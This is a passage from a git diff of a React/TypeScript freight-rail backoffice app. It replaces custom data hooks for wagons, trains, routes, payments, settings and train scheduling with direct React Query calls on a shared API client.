- -export function useAssignWagonToTrain() { - const qc = useQueryClient(); - return useMutation({ mutationFn: ({ wagonId, trainId, sequenceNumber }: any) => wagonService.assignToTrain(wagonId, trainId, sequenceNumber), onSuccess: (_, { trainId }) => qc.invalidateQueries({ queryKey: wagonKeys.byTrain(trainId) }) }); -} - -export function useUnassignWagon() { - const qc = useQueryClient(); - return useMutation({ mutationFn: wagonService.unassign, onSuccess: () => qc.invalidateQueries({ queryKey: wagonKeys.all }) }); -} - -export function useReorderWagons() { - const qc = useQueryClient(); - return useMutation({ mutationFn: ({ trainId, wagonIds }: any) => wagonService.reorder(trainId, wagonIds), onSuccess: (_, { trainId }) => qc.invalidateQueries({ queryKey: wagonKeys.byTrain(trainId) }) }); -} - -export function useCreateWagon() { - const qc = useQueryClient(); - return useMutation({ mutationFn: wagonService.create, onSuccess: () => qc.invalidateQueries({ queryKey: wagonKeys.all }) }); -} - -export function useUpdateWagon() { - const qc = useQueryClient(); - return useMutation({ mutationFn: ({ id, data }: any) => wagonService.update(id, data), onSuccess: (_, { id }) => { - qc.invalidateQueries({ queryKey: wagonKeys.all }); - qc.invalidateQueries({ queryKey: wagonKeys.detail(id) }); - } }); -} - -export function useDeleteWagon() { - const qc = useQueryClient(); - return useMutation({ mutationFn: wagonService.delete, onSuccess: () => qc.invalidateQueries({ queryKey: wagonKeys.all }) }); -} diff --git a/apps/edr-freight-web/backoffice/src/pages/bookings/NewBookingPage.tsx b/apps/edr-freight-web/backoffice/src/pages/bookings/NewBookingPage.tsx index 3f5323c7e..b3c9db35d 100644 --- a/apps/edr-freight-web/backoffice/src/pages/bookings/NewBookingPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/bookings/NewBookingPage.tsx @@ -1,7 +1,3 @@ -import { useEffect, useMemo, useState } from "react"; -import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query"; -import { useNavigate } from "react-router-dom"; -import { isAxiosError } from "axios"; import { ActionIcon, Badge, @@ -23,6 +19,8 @@ import { ThemeIcon, Tooltip, } from "@mantine/core"; +import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query"; +import { isAxiosError } from "axios"; import { AlertTriangle, ArrowLeft, @@ -40,14 +38,16 @@ import { Trash2, Weight, } from "lucide-react"; +import { useEffect, useMemo, useState } from "react"; import toast from "react-hot-toast"; +import { useNavigate } from "react-router-dom"; -import Breadcrumbs from "@/components/ui/Breadcrumbs"; -import { bookingsService } from "@/services/bookings.service"; -import { useAvailableDays } from "@/hooks/trainScheduling/useTrainScheduling"; import { api } from "@/auth/http"; -import { unwrap } from "@/utils/endpoint"; +import Breadcrumbs from "@/components/ui/Breadcrumbs"; import { URL_CONSTANTS } from "@/constants/URLS"; +import { api as appApi } from "@/services/api"; +import { bookingsService } from "@/services/bookings.service"; +import { unwrap } from "@/utils/endpoint"; interface CompanyOption { id: string; @@ -234,9 +234,11 @@ export default function NewBookingPage() { // Day-level pool: fetch only the days that have a departure on the route (no // train, no capacity). The batch engine assigns the train after booking. - const { data: availableDays, isLoading: daysLoading } = useAvailableDays( - originYardId, - destinationYardId, + const { data: availableDays, isLoading: daysLoading } = useQuery( + appApi.trainScheduling.availableDays.queryOptions({ + input: { originYardId, destinationYardId }, + enabled: Boolean(originYardId && destinationYardId), + }), ); const dayOptions = (availableDays ?? []).map((day) => ({ value: day, @@ -392,7 +394,7 @@ export default function NewBookingPage() { - + {/* LEFT — form */} @@ -453,7 +455,6 @@ export default function NewBookingPage() { value={originYardId} onChange={(v) => { setOriginYardId(v); - setTrainScheduleId(null); }} searchable disabled={isLoading} diff --git a/apps/edr-freight-web/backoffice/src/pages/documents/EditFileUploadSettingDialog.tsx b/apps/edr-freight-web/backoffice/src/pages/documents/EditFileUploadSettingDialog.tsx index 1938443ab..4370adac1 100644 --- a/apps/edr-freight-web/backoffice/src/pages/documents/EditFileUploadSettingDialog.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/documents/EditFileUploadSettingDialog.tsx @@ -15,7 +15,8 @@ import { Label } from "@/components/ui/label"; import { Button } from "@/components/ui/button"; import { Textarea } from "@/components/ui/textarea"; import { FileUploadEntity } from "@edr/types/freight"; -import { useCreateFileUploadSetting, useUpdateFileUploadSetting } from "@/hooks/useFileUploadSettings"; +import { useMutation } from "@tanstack/react-query"; +import { api } from "@/services/api"; // import type { // FileUploadEntity, @@ -61,8 +62,8 @@ export default function EditFileUploadSettingDialog({ const [description, setDescription] = useState(setting?.description ?? ""); const [error, setError] = useState(null); - const createMutation = useCreateFileUploadSetting(); - const updateMutation = useUpdateFileUploadSetting(); + const createMutation = useMutation(api.fileUploadSettings.create.mutationOptions()); + const updateMutation = useMutation(api.fileUploadSettings.update.mutationOptions()); const pending = createMutation.isPending || updateMutation.isPending; const reset = () => { diff --git a/apps/edr-freight-web/backoffice/src/pages/documents/FileUploadSettingsPage.tsx b/apps/edr-freight-web/backoffice/src/pages/documents/FileUploadSettingsPage.tsx index acc9b91c0..24c2772aa 100644 --- a/apps/edr-freight-web/backoffice/src/pages/documents/FileUploadSettingsPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/documents/FileUploadSettingsPage.tsx @@ -25,12 +25,11 @@ import { Trash2, X, } from "lucide-react"; -import { useQuery } from "@tanstack/react-query"; +import { useMutation, useQuery } from "@tanstack/react-query"; import { KpiStrip, PageContainer, PageHeader } from "@/components/page"; import { ruleEngineTable } from "@/components/ruleEngine/ruleEngineStyles"; import { api } from "@/services/api"; -import { useDeleteFileUploadSetting } from "@/hooks/useFileUploadSettings"; import { getMinFiles, type FileUploadSetting } from "@/types/fileUploadSettings"; import { DataTable, type ColumnDef } from "@edr/ui-common"; @@ -44,7 +43,7 @@ export default function FileUploadSettingsPage() { const { data, isLoading, isError, error, refetch } = useQuery( api.fileUploadSettings.list.queryOptions(), ); - const deleteMutation = useDeleteFileUploadSetting(); + const deleteMutation = useMutation(api.fileUploadSettings.remove.mutationOptions()); const fileUploadSettings = useMemo( () => (Array.isArray(data) ? data : []), @@ -202,7 +201,7 @@ export default function FileUploadSettingsPage() { deleteMutation.mutate(setting.id)} + onConfirm={() => deleteMutation.mutate({ id: setting.id })} > (seed); - const replaceMutation = useReplaceFileUploadFields(); + const replaceMutation = useMutation( + api.fileUploadSettings.replaceFields.mutationOptions(), + ); const update = (i: number, patch: Partial) => setFields((prev) => @@ -145,7 +148,7 @@ export default function ManageFileUploadFieldsDialog({ })); replaceMutation.mutate( - { settingId: setting.id, fields: payload }, + { id: setting.id, fields: payload }, { onSuccess: () => setOpen(false), onError: (err) => diff --git a/apps/edr-freight-web/backoffice/src/pages/dropdown_settings/DropdownSettingsPage.tsx b/apps/edr-freight-web/backoffice/src/pages/dropdown_settings/DropdownSettingsPage.tsx index d2689c750..751b94886 100644 --- a/apps/edr-freight-web/backoffice/src/pages/dropdown_settings/DropdownSettingsPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/dropdown_settings/DropdownSettingsPage.tsx @@ -31,9 +31,8 @@ import { KpiStrip, PageContainer, PageHeader } from "@/components/page"; import EditDropdownSettingDialog from "./EditDropdownSettingDialog"; import ManageDropdownOptionsDialog from "./ManageDropdownOptionsDialog"; import DeleteDropdownSettingDialog from "./DeleteDropdownSettingDialog"; -import { useQuery } from "@tanstack/react-query"; +import { useMutation, useQuery } from "@tanstack/react-query"; import { api } from "@/services/api"; -import { useDeleteDropdownSetting } from "@/hooks/useDropdownSettings"; import type { DropdownSetting } from "@/types/dropdownSettings"; import { DataTable, @@ -63,7 +62,7 @@ export default function DropdownSettingsPage() { const { data, isLoading, isError, error } = useQuery( api.dropdownSettings.list.queryOptions(), ); - const deleteMutation = useDeleteDropdownSetting(); + const deleteMutation = useMutation(api.dropdownSettings.remove.mutationOptions()); const dropdownSettings = useMemo( () => (Array.isArray(data) ? data : []), @@ -353,7 +352,7 @@ export default function DropdownSettingsPage() { key={`delete-${activeSetting.id}`} settingLabel={activeSetting.label} settingCode={activeSetting.code} - onConfirm={() => deleteMutation.mutate(activeSetting.id)} + onConfirm={() => deleteMutation.mutate({ id: activeSetting.id })} open={activeDialog === "delete"} onOpenChange={(next) => (next ? null : closeDialog())} /> diff --git a/apps/edr-freight-web/backoffice/src/pages/dropdown_settings/EditDropdownSettingDialog.tsx b/apps/edr-freight-web/backoffice/src/pages/dropdown_settings/EditDropdownSettingDialog.tsx index 14922446c..053a74867 100644 --- a/apps/edr-freight-web/backoffice/src/pages/dropdown_settings/EditDropdownSettingDialog.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/dropdown_settings/EditDropdownSettingDialog.tsx @@ -20,10 +20,9 @@ import type { DropdownSetting, UpdateDropdownSettingDto, } from "@/types/dropdownSettings"; -import { - useCreateDropdownSetting, - useUpdateDropdownSetting, -} from "@/hooks/useDropdownSettings"; +import { useMutation } from "@tanstack/react-query"; + +import { api } from "@/services/api"; export interface EditDropdownSettingDialogProps { mode?: "create" | "edit"; @@ -76,8 +75,8 @@ export default function EditDropdownSettingDialog({ ); const [error, setError] = useState(null); - const createMutation = useCreateDropdownSetting(); - const updateMutation = useUpdateDropdownSetting(); + const createMutation = useMutation(api.dropdownSettings.create.mutationOptions()); + const updateMutation = useMutation(api.dropdownSettings.update.mutationOptions()); const pending = createMutation.isPending || updateMutation.isPending; const reset = () => { diff --git a/apps/edr-freight-web/backoffice/src/pages/dropdown_settings/ManageDropdownOptionsDialog.tsx b/apps/edr-freight-web/backoffice/src/pages/dropdown_settings/ManageDropdownOptionsDialog.tsx index 0528145ff..9f9a27057 100644 --- a/apps/edr-freight-web/backoffice/src/pages/dropdown_settings/ManageDropdownOptionsDialog.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/dropdown_settings/ManageDropdownOptionsDialog.tsx @@ -18,7 +18,8 @@ import type { CreateDropdownOptionDto, DropdownSetting, } from "@/types/dropdownSettings"; -import { useReplaceDropdownOptions } from "@/hooks/useDropdownSettings"; +import { useMutation } from "@tanstack/react-query"; +import { api } from "@/services/api"; export interface ManageDropdownOptionsDialogProps { setting: DropdownSetting; @@ -84,7 +85,9 @@ export default function ManageDropdownOptionsDialog({ const [options, setOptions] = useState(seed); - const replaceMutation = useReplaceDropdownOptions(); + const replaceMutation = useMutation( + api.dropdownSettings.replaceOptions.mutationOptions(), + ); const update = (i: number, patch: Partial) => setOptions((prev) => @@ -147,7 +150,7 @@ export default function ManageDropdownOptionsDialog({ }); replaceMutation.mutate( - { settingId: setting.id, options: payload }, + { id: setting.id, options: payload }, { onSuccess: () => setOpen(false), onError: (err) => diff --git a/apps/edr-freight-web/backoffice/src/pages/fleet/FleetCrudPages.tsx b/apps/edr-freight-web/backoffice/src/pages/fleet/FleetCrudPages.tsx index 538b8ff6d..cd846ada7 100644 --- a/apps/edr-freight-web/backoffice/src/pages/fleet/FleetCrudPages.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/fleet/FleetCrudPages.tsx @@ -36,30 +36,7 @@ import { Input } from '@/components/ui/input'; import { Label } from '@/components/ui/label'; import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '@edr/ui-common'; import { Table, TableBody, TableCell, TableHead, TableHeader, TableRow } from '@/components/ui/table'; -import { useCargoTypes } from '@/hooks/use-cargo-types'; -import { useContainerTypes } from '@/hooks/use-container-types'; -import { - useCreateWagonType, - useDeleteWagonType, - useUpdateWagonType, - useWagonTypes, -} from '@/hooks/use-wagon-types'; import { useToast } from '@/hooks/use-toast'; -import { - useContainers, - useCreateContainer, - useDeleteContainer, - useUpdateContainer, -} from '@/hooks/useContainers'; -import { useCreateTrain, useDeleteTrain, useTrains, useUpdateTrain } from '@/hooks/useTrains'; -import { useRouteYards } from '@/hooks/useRoutes'; -import { useCreateWagon, useDeleteWagon, useUpdateWagon, useWagons } from '@/hooks/useWagons'; -import { - useCreateLocomotive, - useDecommissionLocomotive, - useLocomotives, - useUpdateLocomotive, -} from '@/hooks/useLocomotives'; import type { Cargo } from '@/services/cargoService'; import { DeliverCargoDialog } from '@/components/cargoes/DeliverCargoDialog'; import type { Container } from '@/services/containerService'; @@ -513,7 +490,7 @@ const optionLabel = (options: { value: string; label: string }[], value?: string options.find((option) => option.value === value)?.label ?? value ?? '-'; export function TrainMasterDataPage() { - const query = useTrains(); + const query = useQuery(api.trains.list.queryOptions()); return ( title="Trains" @@ -521,9 +498,9 @@ export function TrainMasterDataPage() { addLabel="Add Train" data={query.data} isLoading={query.isLoading} - create={useCreateTrain()} - update={useUpdateTrain()} - remove={useDeleteTrain()} + create={useMutation(api.trains.create.mutationOptions())} + update={useMutation(api.trains.update.mutationOptions())} + remove={useMutation(api.trains.remove.mutationOptions())} searchText={(train) => [train.code, train.trainNumber, train.trainName, train.status].join(' ')} columns={[ { key: 'code', label: 'Code' }, @@ -548,10 +525,10 @@ export function TrainMasterDataPage() { } export function WagonTypesCrudPage() { - const query = useWagonTypes(); - const create = useCreateWagonType(); - const update = useUpdateWagonType(); - const remove = useDeleteWagonType(); + const query = useQuery(api.wagonTypes.list.queryOptions()); + const create = useMutation(api.wagonTypes.create.mutationOptions()); + const update = useMutation(api.wagonTypes.update.mutationOptions()); + const remove = useMutation(api.wagonTypes.remove.mutationOptions()); const { toast } = useToast(); const [search, setSearch] = useState(''); const [page, setPage] = useState(1); @@ -898,9 +875,9 @@ export function WagonTypesCrudPage() { } export function WagonsCrudPage() { - const query = useWagons(); - const { data: wagonTypes = [] } = useWagonTypes(); - const { data: yards = [] } = useRouteYards(); + const query = useQuery(api.wagons.list.queryOptions({ input: {} })); + const { data: wagonTypes = [] } = useQuery(api.wagonTypes.list.queryOptions()); + const { data: yards = [] } = useQuery(api.routes.yards.queryOptions()); const wagonTypeOptions = wagonTypes.map((type: any) => ({ value: type.id, label: `${type.code} - ${type.name}`, @@ -916,9 +893,9 @@ export function WagonsCrudPage() { addLabel="Add Wagon" data={query.data} isLoading={query.isLoading} - create={useCreateWagon()} - update={useUpdateWagon()} - remove={useDeleteWagon()} + create={useMutation(api.wagons.create.mutationOptions())} + update={useMutation(api.wagons.update.mutationOptions())} + remove={useMutation(api.wagons.remove.mutationOptions())} searchText={(wagon) => [ wagon.wagonNumber, wagon.wagonTypeId, @@ -986,9 +963,11 @@ export function WagonsCrudPage() { } export function ContainersCrudPage() { - const query = useContainers(); - const { data: containerTypes = [] } = useContainerTypes(); - const { data: wagons = [] } = useWagons(); + const query = useQuery(api.containers.list.queryOptions()); + const { data: containerTypes = [] } = useQuery( + api.containerTypes.list.queryOptions({ staleTime: Infinity }), + ); + const { data: wagons = [] } = useQuery(api.wagons.list.queryOptions({ input: {} })); const containerTypeOptions = containerTypes.map((type: any) => ({ value: type.id, label: type.label ?? type.name ?? type.code, @@ -1004,9 +983,9 @@ export function ContainersCrudPage() { addLabel="Add Container" data={query.data} isLoading={query.isLoading} - create={useCreateContainer()} - update={useUpdateContainer()} - remove={useDeleteContainer()} + create={useMutation(api.containers.create.mutationOptions())} + update={useMutation(api.containers.update.mutationOptions())} + remove={useMutation(api.containers.remove.mutationOptions())} searchText={(container) => [container.containerNumber, container.containerTypeId, container.wagonId, container.status].join(' ')} columns={[ { key: 'containerNumber', label: 'Number' }, @@ -1044,8 +1023,10 @@ export function ContainersCrudPage() { export function CargoesCrudPage() { const query = useQuery(api.cargoes.list.queryOptions()); - const { data: cargoTypes = [] } = useCargoTypes(); - const { data: containers = [] } = useContainers(); + const { data: cargoTypes = [] } = useQuery( + api.cargoTypes.list.queryOptions({ staleTime: Infinity }), + ); + const { data: containers = [] } = useQuery(api.containers.list.queryOptions()); const cargoTypeOptions = cargoTypes.map((type: any) => ({ value: type.id, label: type.cargoTypeName ?? type.cargo_type_name ?? type.name ?? type.code, @@ -1112,7 +1093,7 @@ export function CargoesCrudPage() { } export function LocomotivesCrudPage() { - const query = useLocomotives(); + const query = useQuery(api.locomotives.list.queryOptions()); return ( @@ -1122,9 +1103,9 @@ export function LocomotivesCrudPage() { addLabel="Add Locomotive" data={query.data} isLoading={query.isLoading} - create={useCreateLocomotive()} - update={useUpdateLocomotive()} - remove={useDecommissionLocomotive()} + create={useMutation(api.locomotives.create.mutationOptions())} + update={useMutation(api.locomotives.update.mutationOptions())} + remove={useMutation(api.locomotives.decommission.mutationOptions())} removeActionLabel="Decommission" removeConfirmMessage="Decommission this locomotive?" removeSuccessMessage="Locomotive decommissioned" diff --git a/apps/edr-freight-web/backoffice/src/pages/fleet/FleetResourcePage.tsx b/apps/edr-freight-web/backoffice/src/pages/fleet/FleetResourcePage.tsx index 6292a1764..194df8561 100644 --- a/apps/edr-freight-web/backoffice/src/pages/fleet/FleetResourcePage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/fleet/FleetResourcePage.tsx @@ -1,5 +1,8 @@ import type { ColumnDef } from "@edr/ui-common"; import { Box, Button, Card, Group, Modal, Select, Stack, Text } from "@mantine/core"; +import { useMutation, useQuery } from "@tanstack/react-query"; + +import { api } from "@/services/api"; import { Archive, Circle, @@ -22,14 +25,7 @@ import { formatFleetCell, registerFleetOptionLabels } from "@/components/fleet/f import { useFleetViewMode } from "@/components/fleet/useFleetViewMode"; import { KpiStrip, PageContainer, PageHeader } from "@/components/page"; import { ruleEngineTable } from "@/components/ruleEngine/ruleEngineStyles"; -import { useFleetList, useFleetMutations } from "@/hooks/fleet/useFleet"; -import { useCargoTypes } from "@/hooks/use-cargo-types"; -import { useContainerTypes } from "@/hooks/use-container-types"; import { useToast } from "@/hooks/use-toast"; -import { useWagonTypes } from "@/hooks/use-wagon-types"; -import { useContainers } from "@/hooks/useContainers"; -import { useRouteYards } from "@/hooks/useRoutes"; -import { useWagons } from "@/hooks/useWagons"; import { FLEET_SELECT_NONE, getFleetResource, @@ -90,15 +86,31 @@ const FleetResourcePage = () => { return filters; }, [slug, listFilterValues, search]); - const { data: allRows = [], isLoading, isError, error } = useFleetList(slug, serverListFilters); - const { create, update, remove } = useFleetMutations(slug); + const { data: allRows = [], isLoading, isError, error } = useQuery( + api.fleet.list.queryOptions({ input: { slug, filters: serverListFilters } }), + ); + const create = useMutation(api.fleet.create.mutationOptions()); + const update = useMutation(api.fleet.update.mutationOptions()); + const remove = useMutation(api.fleet.remove.mutationOptions()); - const { data: wagonTypes = [], isLoading: wagonTypesLoading } = useWagonTypes(); - const { data: containerTypes = [], isLoading: containerTypesLoading } = useContainerTypes(); - const { data: cargoTypes = [], isLoading: cargoTypesLoading } = useCargoTypes(); - const { data: wagons = [], isLoading: wagonsLoading } = useWagons(); - const { data: containers = [], isLoading: containersLoading } = useContainers(); - const { data: yards = [], isLoading: yardsLoading } = useRouteYards(); + const { data: wagonTypes = [], isLoading: wagonTypesLoading } = useQuery( + api.wagonTypes.list.queryOptions(), + ); + const { data: containerTypes = [], isLoading: containerTypesLoading } = useQuery( + api.containerTypes.list.queryOptions({ staleTime: Infinity }), + ); + const { data: cargoTypes = [], isLoading: cargoTypesLoading } = useQuery( + api.cargoTypes.list.queryOptions({ staleTime: Infinity }), + ); + const { data: wagons = [], isLoading: wagonsLoading } = useQuery( + api.wagons.list.queryOptions({ input: {} }), + ); + const { data: containers = [], isLoading: containersLoading } = useQuery( + api.containers.list.queryOptions(), + ); + const { data: yards = [], isLoading: yardsLoading } = useQuery( + api.routes.yards.queryOptions(), + ); useEffect(() => { setPagination((prev) => ({ pageIndex: 0, pageSize: prev.pageSize })); @@ -316,10 +328,10 @@ const FleetResourcePage = () => { const handleFormSubmit = async (values: Record) => { try { if (editing && "id" in editing) { - await update.mutateAsync({ id: String(editing.id), data: values }); + await update.mutateAsync({ slug, id: String(editing.id), data: values }); toast({ title: `${config.entityLabel} updated` }); } else { - await create.mutateAsync(values); + await create.mutateAsync({ slug, data: values }); toast({ title: `${config.entityLabel} created` }); } setFormOpen(false); @@ -335,7 +347,7 @@ const FleetResourcePage = () => { const handleRemove = async () => { if (!removeTarget || !("id" in removeTarget)) return; try { - await remove.mutateAsync(String(removeTarget.id)); + await remove.mutateAsync({ slug, id: String(removeTarget.id) }); toast({ title: config.removeSuccessMessage ?? `${config.entityLabel} removed`, }); diff --git a/apps/edr-freight-web/backoffice/src/pages/fleet/RoutesPage.tsx b/apps/edr-freight-web/backoffice/src/pages/fleet/RoutesPage.tsx index 543ae26db..7d530697f 100644 --- a/apps/edr-freight-web/backoffice/src/pages/fleet/RoutesPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/fleet/RoutesPage.tsx @@ -17,18 +17,14 @@ import { Tooltip, } from "@mantine/core"; +import { useMutation, useQuery } from "@tanstack/react-query"; + import { KpiStrip, PageContainer, PageHeader } from "@/components/page"; import FleetToolbar from "@/components/fleet/FleetToolbar"; import { useFleetViewMode } from "@/components/fleet/useFleetViewMode"; import RuleEngineListFooter from "@/components/ruleEngine/RuleEngineListFooter"; import { ruleEngineTable } from "@/components/ruleEngine/ruleEngineStyles"; -import { - useCreateRoute, - useDeactivateRoute, - useRouteYards, - useRoutes, - useUpdateRoute, -} from "@/hooks/useRoutes"; +import { api } from "@/services/api"; import { useToast } from "@/hooks/use-toast"; import type { RouteRecord, YardRef } from "@/services/routes.service"; import { DataTable, DataTableFooter, usePagination } from "@edr/ui-common"; @@ -71,11 +67,11 @@ export default function RoutesPage() { const { pagination, setPagination } = usePagination({ pageSize: 10 }); const { toast } = useToast(); - const routesQuery = useRoutes(); - const yardsQuery = useRouteYards(); - const createMutation = useCreateRoute(); - const updateMutation = useUpdateRoute(); - const deactivateMutation = useDeactivateRoute(); + const routesQuery = useQuery(api.routes.list.queryOptions()); + const yardsQuery = useQuery(api.routes.yards.queryOptions()); + const createMutation = useMutation(api.routes.create.mutationOptions()); + const updateMutation = useMutation(api.routes.update.mutationOptions()); + const deactivateMutation = useMutation(api.routes.deactivate.mutationOptions()); const filteredRoutes = useMemo(() => { const query = search.trim().toLowerCase(); diff --git a/apps/edr-freight-web/backoffice/src/pages/payments/PaymentsPage.tsx b/apps/edr-freight-web/backoffice/src/pages/payments/PaymentsPage.tsx index e5a490927..f68ac32f4 100644 --- a/apps/edr-freight-web/backoffice/src/pages/payments/PaymentsPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/payments/PaymentsPage.tsx @@ -22,8 +22,10 @@ import { } from "lucide-react"; import { useMemo, useState } from "react"; +import { useQuery } from "@tanstack/react-query"; + import { KpiStrip, PageContainer, PageHeader } from "@/components/page"; -import { usePaymentList, usePaymentSummary } from "@/hooks/usePayments"; +import { api } from "@/services/api"; import type { PaymentMethod, PaymentRow } from "@/services/payments.service"; import { Badge, @@ -106,8 +108,12 @@ export default function PaymentsPage() { [query, statuses, method, pagination.pageIndex, pagination.pageSize], ); - const { data, isLoading, isError } = usePaymentList(filter); - const { data: summary, isLoading: summaryLoading } = usePaymentSummary(); + const { data, isLoading, isError } = useQuery( + api.payments.list.queryOptions({ input: { filter } }), + ); + const { data: summary, isLoading: summaryLoading } = useQuery( + api.payments.summary.queryOptions({ staleTime: 30_000 }), + ); const rows = data?.items ?? []; const total = data?.total ?? 0; diff --git a/apps/edr-freight-web/backoffice/src/pages/trainScheduling/BatchBoardPage.tsx b/apps/edr-freight-web/backoffice/src/pages/trainScheduling/BatchBoardPage.tsx index bc6e5bb15..9085f2868 100644 --- a/apps/edr-freight-web/backoffice/src/pages/trainScheduling/BatchBoardPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/trainScheduling/BatchBoardPage.tsx @@ -46,7 +46,8 @@ import { import { RouteCorridor } from "@/components/trainScheduling/scheduleVisuals"; import { ruleEngineTable } from "@/components/ruleEngine/ruleEngineStyles"; import { FREIGHT_BRAND, FREIGHT_BRAND_DARK } from "@/theme/freight-brand"; -import { useBatchBoard } from "@/hooks/trainScheduling/useTrainScheduling"; +import { useQuery } from "@tanstack/react-query"; +import { api } from "@/services/api"; import type { BatchBoardSchedule } from "@/types/trainScheduling"; const fmtTons = (n: number) => @@ -368,7 +369,9 @@ function CardSkeleton() { export default function BatchBoardPage() { const navigate = useNavigate(); - const { data, isLoading, isError, isFetching, refetch } = useBatchBoard(); + const { data, isLoading, isError, isFetching, refetch } = useQuery( + api.trainScheduling.batchBoard.queryOptions({ refetchInterval: 30_000 }), + ); const { viewMode, setViewMode } = useFleetViewMode("batch-board"); const { pagination, setPagination } = usePagination({ pageSize: 10 }); const [search, setSearch] = useState(""); diff --git a/apps/edr-freight-web/backoffice/src/pages/trainScheduling/BatchScheduleDetailPage.tsx b/apps/edr-freight-web/backoffice/src/pages/trainScheduling/BatchScheduleDetailPage.tsx index f78639359..1417d738c 100644 --- a/apps/edr-freight-web/backoffice/src/pages/trainScheduling/BatchScheduleDetailPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/trainScheduling/BatchScheduleDetailPage.tsx @@ -52,11 +52,8 @@ import { WindowStatusPill, } from "@/components/trainScheduling/batchVisuals"; import { RouteCorridor } from "@/components/trainScheduling/scheduleVisuals"; -import { - useBatchBoardDetail, - useRunAllocation, - useScheduleDetail, -} from "@/hooks/trainScheduling/useTrainScheduling"; +import { useMutation, useQuery } from "@tanstack/react-query"; +import { api } from "@/services/api"; import { useToast } from "@/hooks/use-toast"; import type { BatchBoardBookingDetail, @@ -429,8 +426,16 @@ export default function BatchScheduleDetailPage() { const { scheduleId } = useParams<{ scheduleId: string }>(); const navigate = useNavigate(); const { toast } = useToast(); - const { data, isLoading, isFetching, refetch } = useBatchBoardDetail(scheduleId); - const runAllocation = useRunAllocation(scheduleId ?? ""); + const { data, isLoading, isFetching, refetch } = useQuery( + api.trainScheduling.batchBoardDetail.queryOptions({ + input: { scheduleId: scheduleId ?? "" }, + enabled: Boolean(scheduleId), + refetchInterval: 30_000, + }), + ); + const runAllocation = useMutation( + api.trainScheduling.runAllocation.mutationOptions(), + ); const hasAssignedWagons = useMemo( () => @@ -443,7 +448,12 @@ export default function BatchScheduleDetailPage() { [data], ); - const scheduleDetailQuery = useScheduleDetail(scheduleId, "CONTAINER"); + const scheduleDetailQuery = useQuery( + api.trainScheduling.scheduleDetail.queryOptions({ + input: { id: scheduleId ?? "", freightType: "CONTAINER" }, + enabled: Boolean(scheduleId), + }), + ); // Batch bookings by state for the composition side panel (payment / expired lists). const batchBookings = useMemo(() => { @@ -550,7 +560,7 @@ export default function BatchScheduleDetailPage() { const handleRunAllocation = () => { runAllocation - .mutateAsync() + .mutateAsync({ scheduleId: scheduleId ?? "" }) .then((result) => { const failed = result.issues.filter((i) => i.status === "FAILED").length; const deferred = result.deferred.length; diff --git a/apps/edr-freight-web/backoffice/src/pages/trainScheduling/TrainScheduleTrackPage.tsx b/apps/edr-freight-web/backoffice/src/pages/trainScheduling/TrainScheduleTrackPage.tsx index caed00435..7eb995ac2 100644 --- a/apps/edr-freight-web/backoffice/src/pages/trainScheduling/TrainScheduleTrackPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/trainScheduling/TrainScheduleTrackPage.tsx @@ -28,7 +28,8 @@ import { PageContainer } from "@/components/page"; import { RouteCorridorTrack } from "@/components/trainScheduling/RouteCorridorTrack"; import { RouteCorridor, StatusPill } from "@/components/trainScheduling/scheduleVisuals"; import { freightBrand } from "@/theme/freight-brand"; -import { useTrainTrack, useScheduleMutations } from "@/hooks/trainScheduling/useTrainScheduling"; +import { useMutation, useQuery } from "@tanstack/react-query"; +import { api } from "@/services/api"; import { useToast } from "@/hooks/use-toast"; const parseError = (error: unknown, fallback: string) => { @@ -81,8 +82,15 @@ function MetaStat({ export default function TrainScheduleTrackPage() { const { scheduleId } = useParams<{ scheduleId: string }>(); const { toast } = useToast(); - const trackQuery = useTrainTrack(scheduleId); - const { recordCheckpoint } = useScheduleMutations(scheduleId); + const trackQuery = useQuery( + api.trainScheduling.trainTrack.queryOptions({ + input: { id: scheduleId ?? "" }, + enabled: Boolean(scheduleId), + }), + ); + const recordCheckpoint = useMutation( + api.trainScheduling.recordCheckpoint.mutationOptions(), + ); if (trackQuery.isLoading) { return ( diff --git a/apps/edr-freight-web/backoffice/src/pages/trainScheduling/TrainScheduleV2DetailPage.tsx b/apps/edr-freight-web/backoffice/src/pages/trainScheduling/TrainScheduleV2DetailPage.tsx index e2618510a..8c16b8d14 100644 --- a/apps/edr-freight-web/backoffice/src/pages/trainScheduling/TrainScheduleV2DetailPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/trainScheduling/TrainScheduleV2DetailPage.tsx @@ -56,11 +56,8 @@ import { shouldShowContainerPlacementStep } from "@/components/trainScheduling/s import { TrainCompositionDiagram } from "@/components/trainScheduling/TrainCompositionDiagram"; import { WagonPlanGrid } from "@/components/trainScheduling/WagonPlanGrid"; import { WorkflowRail, WorkflowStep } from "@/components/trainScheduling/WorkflowStep"; -import { - useEligibleBookings, - useScheduleDetail, - useScheduleMutations, -} from "@/hooks/trainScheduling/useTrainScheduling"; +import { useMutation, useQuery } from "@tanstack/react-query"; +import { api } from "@/services/api"; import { useToast } from "@/hooks/use-toast"; import type { ContainerPlacement, @@ -91,7 +88,12 @@ export default function TrainScheduleV2DetailPage() { const [maintenanceOpen, setMaintenanceOpen] = useState(false); const autoPreviewedRef = useRef(false); - const detailQuery = useScheduleDetail(scheduleId); + const detailQuery = useQuery( + api.trainScheduling.scheduleDetail.queryOptions({ + input: { id: scheduleId ?? "" }, + enabled: Boolean(scheduleId), + }), + ); const schedule = detailQuery.data; const freightType: FreightType | undefined = schedule?.freightType as FreightType | undefined; @@ -111,12 +113,17 @@ export default function TrainScheduleV2DetailPage() { const eligibleFreightType = freightType === "CONTAINER" || freightType === "BULK" ? freightType : undefined; - const eligibleQuery = useEligibleBookings( - eligibleFilters, - Boolean(schedule), - eligibleFreightType, + const eligibleQuery = useQuery( + api.trainScheduling.eligibleBookings.queryOptions({ + input: { filters: eligibleFilters, freightType: 